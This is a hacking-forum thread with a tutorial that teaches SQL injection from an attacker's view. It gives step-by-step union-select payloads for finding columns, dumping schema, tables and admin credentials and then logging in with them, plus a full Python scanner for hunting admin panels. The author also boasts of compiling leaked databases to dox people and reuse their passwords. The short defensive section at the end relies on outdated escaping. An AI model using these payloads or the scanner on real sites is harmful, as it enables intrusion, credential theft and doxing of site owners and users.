Login Register






Thread Rating:
  • 0 Vote(s) - 0 Average


Taku's SQLi handbook filter_list
Author
Message
Taku's SQLi handbook #1
Introduction
I couldn't find any SQL injection tutorials on here, so I decided to create one.

I know that this is probably going to be posted in the PHP and SQL Injection Attack Preventions section, but this tutorial is not just going to be about how to protect yourself.<t
In order for you to really understand how it works you have to think like an attacker, and that's why I'm going to explain this in the perspective of a malicious hacker.

This handbook is just for educational purposes, and I do not take responsibility for anything stupid you might do with the information I'm about to give you.

What is SQLi?
SQLi, or SQL injections are vulnerabilities that occur when user-input is not sanitized, and then read as a complete SQL query.
Keep in mind that this is just a brief explanation, there's a number of other ways to successfully do SQL injections, through forms, search boxes, and the list just goes on.
For instance, let's take this example. You have a website where you want to grab text from an SQL database and dump it on the screen of your website.

URL:
Code:
http://www.website.com/news.php?id=1
Code:
Code:
select title, text from news where id=$id
As we can see here the ID is a variable, and is shown in the URL too.
If you were to change ID to 2, it'll go into the database, select the text from the table news where the ID is 2.

Now, this is how it's supposed to work. However, if we put a single quote at the end of the URL like this:
Code:
http://www.website.com/news.php?id=1'
The code will now look like this:
Code:
select title, text from news where id=1'
Now, because this quote is not sanitized correctly, it messes up the whole SQL query and it'll result in the website showing an SQL error on the site, like this:
Code:
Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
This means that you can actually run SQL in the database, meaning you can  SELECT (Select tables),  INSERT (Add),  UPDATE (Editing),  DELETE (Deletes data, but keeps the table structure), DROP (Removes data and table structure).

Usually what people are after when doing this is to get their fingers on sensitive information like usernames, passwords,  emails, SSNs, or anything else of that nature.

Manual SQL Injection
This is when we use the SQL errors to our advantage to retrieve information from the database.
To do this we have to have a vulnerable website, I'll use http://www.website.com/ that I used in the example above.

So, we already know it's vulnerable because we get the SQL error by adding a single-quote.
Now we're going to inject this SQL query with our own SQL code, trying to find the right amount of columns.

First we're going to try this:
Quote:http://www.website.com/news.php?id=1 order by 10--
If we didn't get an error, we can increase 10, to - let's say 15.

Quote:http://www.website.com/news.php?id=1 order by 15--
If we did have an SQL error saying "Unknown column '15' in 'order clause'" we have to decrease it.
Just keep doing this until you find the right amount of columns.

Quote:http://www.website.com/news.php?id=1 order by 11--                                       // No Error
Quote:http://www.website.com/news.php?id=1 order by 12--                                     // No Error
Quote:http://www.website.com/news.php?id=1 order by 13--                                    // No Error
Quote:http://www.website.com/news.php?id=1 order by 14--                                   // Error
Because we received an error at 14, we know that the right amount of columns are 13.
Now when we have the amount of columns we are going to use union to find the vulnerable columns.

We do this by entering this in the URL:
Quote:http://www.website.com/news.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13--
Please note that you are going to change the numbers depending on how many columns you had, so if you had 7 columns on your target your URL would be:
Quote:http://www.website.com/news.php?id=-1 union select 1,2,3,4,5,6,7--
If it's working you should see some numbers on your targets website. These are the vulnerable columns.
If you got a 3 on the target site for example, you're going to put this in your URL.
Quote:http://www.website.com/news.php?id=-1 union select 1,2,group_concat(schema_name),4,5,6,7 from information_schema.schemata--
You basically just replace one of the numbers of the vulnerable columns with group_concat(schema_name), and make sure to add from information_schema.schemata-- after the URL.

Now you should hopefully have the database name, copy and paste this somewhere - you're going to need this.

Next you want to get the table names. You can do this by entering this in the URL.

Code:
http://www.website.com/news.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()--
This will give you the different table names. Here you'll look for sensitive information like "login", "admin", "customers", etc. Really anyhing that can be to your interest. If it's a target website you might aswell dump the whole database's tables.

After you've found the one you want to look further into, like "admin", go ahead and write this in the URL. This will find the column names.

Code:
http://www.website.com/news.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name="admin"--
Please note that you have to change "admin" to whatever table name you're looking for. This could be anything really, even in different languages if your target is not in English.
Note: If this does not work and you get an error, it means that the server has Magic Quotes on.
To bypass this you can use any hex/char converter, I like to use http://www.swingnote.com/tools/texttohex.php for this.

Just copy the name of the table you're trying to get the columns from, paste the name in the "Say hello to my little friend" box and press "Convert".

Now copy the hex string and replace that with table name in the URL. Make sure you add "0x" in the beginning of your hex string.
This tells the server that the following characters/numbers written are a part of a hex string.

Your URL should look something like this now.

Code:
http://www.website.com/news.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name=0x41646d696e--
Now you should see a list of usernames, passwords, emails, IDs, MD5 hashes or anything else that can be interesting that's one of the columns.

Now we are almost finished. Now you just have to find the data of the columns you want to see.
Let's say I want to see the data of usernames, passwords and emails and that my database name that I found earlier was "sql_database". This is where the database name comes in handy!

Type this in the URL.

Code:
http://www.website.com/news.php?id=-1 UNION SELECT 1,group_concat(usernames,0x3a,passwords,0x3a,emails),3,4 FROM sql_database.Admin--
In this string "0x3a" is actually the hex of a colon (:).
We add this so we can see the data a little easier. It'll group the data together like so: username:password:email.

Now, if you've done everything correctly you should have the admin username, password and email. Save this somewhere and use it to log in.

Sometimes the admin page is hidden on websites, so you might have to run different perl/python scripts to find it. Basically what it'll do is to go through common directories and files to find an admin page.
I suggest using Cyb3rw0rms perl admin finder. It goes through a lot of different catagories, and you're bound to find a file with some luck.

admin.perl
Spoiler:
Code:
#!/usr/bin/python
# This was written for educational purpose only. Use it at your own risk.
# Author will be not responsible for any damage!
#
#################################################################
#  ______    ____    ____                                       #
#  |   _  \   \   \  /   /                                      #
#  |  |_)  |   \   \/   /                                       #
#  |   _  <     \_    _/                                        #
#  |  |_)  |      |  |                                          #
#  |______/       |__|                                          #
#                                                               #
#   ______      __   _____               ____       __  ___     #
#   / ____/_  __/ /_ |__  /______      __/ __ \_____/  |/  /    #
#  / /   / / / / __ \ /_ </ ___/ | /| / / / / / ___/ /|_/ /     #
# / /___/ /_/ / /_/ /__/ / /   | |/ |/ / /_/ / /  / /  / /      #
# \____/\__, /_.___/____/_/    |__/|__/\____/_/  /_/  /_/       #
#      /____/                                                   #
#################################################################

import httplib
import socket
import sys


try:
   print "\t################################################################"
   print "\t#                  ADMIN FINDER TOOL                           #"
   print "\t#                        VISIT                                 #"
   print "\t#        http://www.facebook.com/BackTrack.Fan.Page            #"
   print "\t#                                                              #"
   print "\t#                                       Written by Cyb3rw0rM   #"
   print "\t################################################################"
   var1=0
   var2=0

   php = ['admin/','administrator/','admin1/','admin2/','admin3/','admin4/','admin5/','usuarios/','usuario/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html',
'admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',
'admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php',
'administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',
'bb-admin/index.html','bb-admin/login.html','acceso.php','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php',
'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html',
'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html',
'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',
'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',
'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html',
'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php',
'adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php',
'modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php','usuarios/login.php',
'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php']

   asp = ['admin/','administrator/','admin1/','admin2/','admin3/','admin4/','admin5/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/admin.asp',
'admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','admin/cp.asp','cp.asp',
'administrator/account.asp','administrator.asp','acceso.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','administrator/login.asp',
'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','admincp/login.asp','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','webadmin.asp','webadmin/index.asp',
'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp',
'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','admin-login.html',
'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','administrator/index.asp',
'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/index.asp','adm/index.asp',
'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp','siteadmin/login.html']

   cfm = ['admin/','administrator/','admin1/','admin2/','admin3/','admin4/','admin5/','usuarios/','usuario/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','admin/account.cfm','admin/index.cfm','admin/login.cfm','admin/admin.cfm','admin/account.cfm',
'admin_area/admin.cfm','admin_area/login.cfm','siteadmin/login.cfm','siteadmin/index.cfm','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/index.cfm','bb-admin/index.cfm','bb-admin/login.cfm','bb-admin/admin.cfm','admin/home.cfm','admin_area/login.html','admin_area/index.html',
'admin/controlpanel.cfm','admin.cfm','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',
'admin/cp.cfm','cp.cfm','administrator/index.cfm','administrator/login.cfm','nsw/admin/login.cfm','webadmin/login.cfm','admin/admin_login.cfm','admin_login.cfm',
'administrator/account.cfm','administrator.cfm','admin_area/admin.html','pages/admin/admin-login.cfm','admin/admin-login.cfm','admin-login.cfm',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.cfm','modelsearch/login.cfm','moderator.cfm','moderator/login.cfm',
'moderator/admin.cfm','account.cfm','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.cfm','admincontrol.cfm',
'admin/adminLogin.html','acceso.cfm','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.cfm','adminarea/index.html','adminarea/admin.html',
'webadmin.cfm','webadmin/index.cfm','webadmin/admin.cfm','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.cfm','moderator.html',
'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',
'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',
'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.cfm','account.html','controlpanel.html','admincontrol.html',
'panel-administracion/login.cfm','wp-login.cfm','adminLogin.cfm','admin/adminLogin.cfm','home.cfm','admin.cfm','adminarea/index.cfm',
'adminarea/admin.cfm','adminarea/login.cfm','panel-administracion/index.cfm','panel-administracion/admin.cfm','modelsearch/index.cfm',
'modelsearch/admin.cfm','admincontrol/login.cfm','adm/admloginuser.cfm','admloginuser.cfm','admin2.cfm','admin2/login.cfm','admin2/index.cfm','usuarios/login.cfm',
'adm/index.cfm','adm.cfm','affiliate.cfm','adm_auth.cfm','memberadmin.cfm','administratorlogin.cfm']

   js = ['admin/','administrator/','admin1/','admin2/','admin3/','admin4/','admin5/','usuarios/','usuario/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','admin/account.js','admin/index.js','admin/login.js','admin/admin.js','admin/account.js',
'admin_area/admin.js','admin_area/login.js','siteadmin/login.js','siteadmin/index.js','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/index.js','bb-admin/index.js','bb-admin/login.js','bb-admin/admin.js','admin/home.js','admin_area/login.html','admin_area/index.html',
'admin/controlpanel.js','admin.js','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',
'admin/cp.js','cp.js','administrator/index.js','administrator/login.js','nsw/admin/login.js','webadmin/login.js','admin/admin_login.js','admin_login.js',
'administrator/account.js','administrator.js','admin_area/admin.html','pages/admin/admin-login.js','admin/admin-login.js','admin-login.js',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.js','modelsearch/login.js','moderator.js','moderator/login.js',
'moderator/admin.js','account.js','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.js','admincontrol.js',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.js','adminarea/index.html','adminarea/admin.html',
'webadmin.js','webadmin/index.js','acceso.js','webadmin/admin.js','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.js','moderator.html',
'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',
'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',
'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.js','account.html','controlpanel.html','admincontrol.html',
'panel-administracion/login.js','wp-login.js','adminLogin.js','admin/adminLogin.js','home.js','admin.js','adminarea/index.js',
'adminarea/admin.js','adminarea/login.js','panel-administracion/index.js','panel-administracion/admin.js','modelsearch/index.js',
'modelsearch/admin.js','admincontrol/login.js','adm/admloginuser.js','admloginuser.js','admin2.js','admin2/login.js','admin2/index.js','usuarios/login.js',
'adm/index.js','adm.js','affiliate.js','adm_auth.js','memberadmin.js','administratorlogin.js']

   cgi = ['admin/','administrator/','admin1/','admin2/','admin3/','admin4/','admin5/','usuarios/','usuario/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','admin/account.cgi','admin/index.cgi','admin/login.cgi','admin/admin.cgi','admin/account.cgi',
'admin_area/admin.cgi','admin_area/login.cgi','siteadmin/login.cgi','siteadmin/index.cgi','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/index.cgi','bb-admin/index.cgi','bb-admin/login.cgi','bb-admin/admin.cgi','admin/home.cgi','admin_area/login.html','admin_area/index.html',
'admin/controlpanel.cgi','admin.cgi','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',
'admin/cp.cgi','cp.cgi','administrator/index.cgi','administrator/login.cgi','nsw/admin/login.cgi','webadmin/login.cgi','admin/admin_login.cgi','admin_login.cgi',
'administrator/account.cgi','administrator.cgi','admin_area/admin.html','pages/admin/admin-login.cgi','admin/admin-login.cgi','admin-login.cgi',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.cgi','modelsearch/login.cgi','moderator.cgi','moderator/login.cgi',
'moderator/admin.cgi','account.cgi','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.cgi','admincontrol.cgi',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.cgi','adminarea/index.html','adminarea/admin.html',
'webadmin.cgi','webadmin/index.cgi','acceso.cgi','webadmin/admin.cgi','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.cgi','moderator.html',
'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',
'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',
'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.cgi','account.html','controlpanel.html','admincontrol.html',
'panel-administracion/login.cgi','wp-login.cgi','adminLogin.cgi','admin/adminLogin.cgi','home.cgi','admin.cgi','adminarea/index.cgi',
'adminarea/admin.cgi','adminarea/login.cgi','panel-administracion/index.cgi','panel-administracion/admin.cgi','modelsearch/index.cgi',
'modelsearch/admin.cgi','admincontrol/login.cgi','adm/admloginuser.cgi','admloginuser.cgi','admin2.cgi','admin2/login.cgi','admin2/index.cgi','usuarios/login.cgi',
'adm/index.cgi','adm.cgi','affiliate.cgi','adm_auth.cgi','memberadmin.cgi','administratorlogin.cgi']

   brf = ['admin/','administrator/','admin1/','admin2/','admin3/','admin4/','admin5/','usuarios/','usuario/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','admin/account.brf','admin/index.brf','admin/login.brf','admin/admin.brf','admin/account.brf',
'admin_area/admin.brf','admin_area/login.brf','siteadmin/login.brf','siteadmin/index.brf','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/index.brf','bb-admin/index.brf','bb-admin/login.brf','bb-admin/admin.brf','admin/home.brf','admin_area/login.html','admin_area/index.html',
'admin/controlpanel.brf','admin.brf','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',
'admin/cp.brf','cp.brf','administrator/index.brf','administrator/login.brf','nsw/admin/login.brf','webadmin/login.brfbrf','admin/admin_login.brf','admin_login.brf',
'administrator/account.brf','administrator.brf','acceso.brf','admin_area/admin.html','pages/admin/admin-login.brf','admin/admin-login.brf','admin-login.brf',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.brf','modelsearch/login.brf','moderator.brf','moderator/login.brf',
'moderator/admin.brf','account.brf','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.brf','admincontrol.brf',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.brf','adminarea/index.html','adminarea/admin.html',
'webadmin.brf','webadmin/index.brf','webadmin/admin.brf','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.brf','moderator.html',
'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',
'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',
'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.brf','account.html','controlpanel.html','admincontrol.html',
'panel-administracion/login.brf','wp-login.brf','adminLogin.brf','admin/adminLogin.brf','home.brf','admin.brf','adminarea/index.brf',
'adminarea/admin.brf','adminarea/login.brf','panel-administracion/index.brf','panel-administracion/admin.brf','modelsearch/index.brf',
'modelsearch/admin.brf','admincontrol/login.brf','adm/admloginuser.brf','admloginuser.brf','admin2.brf','admin2/login.brf','admin2/index.brf','usuarios/login.brf',
'adm/index.brf','adm.brf','affiliate.brf','adm_auth.brf','memberadmin.brf','administratorlogin.brf']
   
   try:
       site = raw_input("Web Site for Scan?: ")
       site = site.replace("http://","")
       print ("\tChecking website " + site + "...")
       conn = httplib.HTTPConnection(site)
       conn.connect()
       print "\t[$] Yes... Server is Online."
   except (httplib.HTTPResponse, socket.error) as Exit:
       raw_input("\t [!] Oops Error occured, Server offline or invalid URL")
       exit()
   print "Enter site source code:"
   print "1 PHP"
   print "2 ASP"
   print "3 CFM"
   print "4 JS"
   print "5 CGI"
   print "6 BRF"
   print "\nPress 1 and 'Enter key' for Select PHP\n"
   code=input("> ")
       
   if code==1:
       print("\t [+] Scanning " + site + "...\n\n")
       for admin in php:
           admin = admin.replace("\n","")
           admin = "/" + admin
           host = site + admin
           print ("\t [#] Checking " + host + "...")
           connection = httplib.HTTPConnection(site)
           connection.request("GET",admin)
           response = connection.getresponse()
           var2 = var2 + 1
           if response.status == 200:
               var1 = var1 + 1
               print "%s %s" % ( "\n\n>>>" + host, "Admin page found!")
               raw_input("Press enter to continue scanning.\n")
           elif response.status == 404:
               var2 = var2
           elif response.status == 302:
               print "%s %s" % ("\n>>>" + host, "Possible admin page (302 - Redirect)")
           else:
               print "%s %s %s" % (host, " Interesting response:", response.status)
           connection.close()
       print("\n\nCompleted \n")
       print var1, " Admin pages found"
       print var2, " total pages scanned"
       raw_input("[/] The Game Over; Press Enter to Exit")


   if code==2:
       print("\t [+] Scanning " + site + "...\n\n")
       for admin in asp:
           admin = admin.replace("\n","")
           admin = "/" + admin
           host = site + admin
           print ("\t [#] Checking " + host + "...")
           connection = httplib.HTTPConnection(site)
           connection.request("GET",admin)
           response = connection.getresponse()
           var2 = var2 + 1
           if response.status == 200:
               var1 = var1 + 1
               print "%s %s" % ( "\n\n>>>" + host, "Admin page found!")
               raw_input("Press enter to continue scanning.\n")
           elif response.status == 404:
               var2 = var2
           elif response.status == 302:
               print "%s %s" % ("\n>>>" + host, "Possible admin page (302 - Redirect)")
           else:
               print "%s %s %s" % (host, " Interesting response:", response.status)
           connection.close()
       print("\n\nCompleted \n")
       print var1, " Admin pages found"
       print var2, " total pages scanned"
       raw_input("The Game Over; Press Enter to Exit")

   if code==3:
       print("\t [+] Scanning " + site + "...\n\n")
       for admin in cfm:
           admin = admin.replace("\n","")
           admin = "/" + admin
           host = site + admin
           print ("\t [#] Checking " + host + "...")
           connection = httplib.HTTPConnection(site)
           connection.request("GET",admin)
           response = connection.getresponse()
           var2 = var2 + 1
           if response.status == 200:
               var1 = var1 + 1
               print "%s %s" % ( "\n\n>>>" + host, "Admin page found!")
               raw_input("Press enter to continue scanning.\n")
           elif response.status == 404:
               var2 = var2
           elif response.status == 302:
               print "%s %s" % ("\n>>>" + host, "Possible admin page (302 - Redirect)")
           else:
               print "%s %s %s" % (host, " Interesting response:", response.status)
           connection.close()
       print("\n\nCompleted \n")
       print var1, " Admin pages found"
       print var2, " total pages scanned"
       raw_input("The Game Over; Press Enter to Exit")

   if code==4:
       print("\t [+] Scanning " + site + "...\n\n")
       for admin in js:
           admin = admin.replace("\n","")
           admin = "/" + admin
           host = site + admin
           print ("\t [#] Checking " + host + "...")
           connection = httplib.HTTPConnection(site)
           connection.request("GET",admin)
           response = connection.getresponse()
           var2 = var2 + 1
           if response.status == 200:
               var1 = var1 + 1
               print "%s %s" % ( "\n\n>>>" + host, "Admin page found!")
               raw_input("Press enter to continue scanning.\n")
           elif response.status == 404:
               var2 = var2
           elif response.status == 302:
               print "%s %s" % ("\n>>>" + host, "Possible admin page (302 - Redirect)")
           else:
               print "%s %s %s" % (host, " Interesting response:", response.status)
           connection.close()
       print("\n\nCompleted \n")
       print var1, " Admin pages found"
       print var2, " total pages scanned"
       raw_input("The Game Over; Press Enter to Exit")

   if code==5:
       print("\t [+] Scanning " + site + "...\n\n")
       for admin in cgi:
           admin = admin.replace("\n","")
           admin = "/" + admin
           host = site + admin
           print ("\t [#] Checking " + host + "...")
           connection = httplib.HTTPConnection(site)
           connection.request("GET",admin)
           response = connection.getresponse()
           var2 = var2 + 1
           if response.status == 200:
               var1 = var1 + 1
               print "%s %s" % ( "\n\n>>>" + host, "Admin page found!")
               raw_input("Press enter to continue scanning.\n")
           elif response.status == 404:
               var2 = var2
           elif response.status == 302:
               print "%s %s" % ("\n>>>" + host, "Possible admin page (302 - Redirect)")
           else:
               print "%s %s %s" % (host, " Interesting response:", response.status)
           connection.close()
       print("\n\nCompleted \n")
       print var1, " Admin pages found"
       print var2, " total pages scanned"
       raw_input("The Game Over; Press Enter to Exit")

   if code==6:
       print("\t [+] Scanning " + site + "...\n\n")
       for admin in brf:
           admin = admin.replace("\n","")
           admin = "/" + admin
           host = site + admin
           print ("\t [#] Checking " + host + "...")
           connection = httplib.HTTPConnection(site)
           connection.request("GET",admin)
           response = connection.getresponse()
           var2 = var2 + 1
           if response.status == 200:
               var1 = var1 + 1
               print "%s %s" % ( "\n\n>>>" + host, "Admin page found!")
               raw_input("Press enter to continue scanning.\n")
           elif response.status == 404:
               var2 = var2
           elif response.status == 302:
               print "%s %s" % ("\n>>>" + host, "Possible admin page (302 - Redirect)")
           else:
               print "%s %s %s" % (host, " Interesting response:", response.status)
           connection.close()
       print("\n\nCompleted \n")
       print var1, " Admin pages found"
       print var2, " total pages scanned"
       raw_input("The Game Over; Press Enter to Exit")
except (httplib.HTTPResponse, socket.error):
   print "\n\t[!] Session Cancelled; Error occured. Check internet settings"
except (KeyboardInterrupt, SystemExit):
   print "\n\t[!] Session cancelled"



How to fix SQL Injection & security tips
What we've learnt so far is that SQL Injection occur when user-input is not sanitized, and then ran in SQL queries.

Let's imagine some code looking like this.
Code:
SELECT id
FROM logins
WHERE username = '$username'
AND password = '$password'
If I were to enter, let's say "Josh" as a username and "Josh123" as password it would result in the script looking like this:
Code:
SELECT id
FROM logins
WHERE username = 'Josh'
AND password = 'Josh123'
Right, that's okay, but if I write "anything' OR 'x'='x" as username and password it'll end up looking like this;

Code:
SELECT id
FROM logins
WHERE username = 'anything' OR 'x'='x'
AND password = 'anything' OR 'x'='x'
Basically what this means is that the 'x'='x' means that whatever they wrote in before that, it's going to be true.
This means that they will successfully bypass the login page.

You should have a good sense of how this works now. What we want to do is turn the sanitized user-input and make it so the PHP script will not take it literally and let SQL code get ran.

This is a part of a safe PHP script. It's using the function "mysql_real_escape_string" which will escape every special character and make it safe.
Code:
$query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'",
           mysql_real_escape_string($user),
           mysql_real_escape_string($password));
?>
What they're doing here is to define the variable user and password to the function mysql_real_escape_string.

Now when you've had your vulnerabilities fixed there's still some things to do that could help you out.
If you by any chance have missed ANY SQL Injection vulnerabilities on your website, you're in big trouble.
For a whitehat you just have to fail once for an attacker to get your database, while the blackhat has all the time in his world to wait for you to make a mistake.

What I like to do is to change the name of admin panels to something that admin finders wont pick up. I also like to play around with my table names, changing the table name of "admin" to something unrelated would be a good idea.

SQLi defenses as a user
Since websites are becoming more and more interactive, SQL databases in websites are increasing - and that means that SQL Injections are too.
I've seen a lot of big websites have their databases dropped and dumped on the internet, and some databases are even kept private.

When a database is dropped a lot of users are re-using their passwords if they're stored in plaintext, and can be found by doxers easily.
Let's say someone dropped the database of a famous booter. If you signed up there, your registration IP will be stored, your last IP used, usernames, passwords, emails and a lot of other scary stuff.
If they're dropped you can search for their username in databases and hopefully find their old passwords, re-user them on any other website and access their accounts.

Infact, some years ago I made a little project with some of my friends. We compiled a lot of databases of famous websites, and made a simple PHP script to quickly search through all the databases looking for similar IPs or usernames, and most of the time we'd find a password or two that we could use in dox or even re-use on other accounts.
I've been hacked twice over the years of my hacking, and both of them were the simple mistake of reusing passwords, which is pretty funny.

Basically what I'm telling you is not to re-use passwords on any accounts, and consider signing up with different alises, emails or use VPNs.

Last words
This goes with any tutorial, feel free to ask any questions or just give your opinion on this tutorial.
Thanks for reading.

Reply

RE: Taku's SQLi handbook #2
Thank you very much for this very fucking good ebook.

Reply







Users browsing this thread: 1 Guest(s)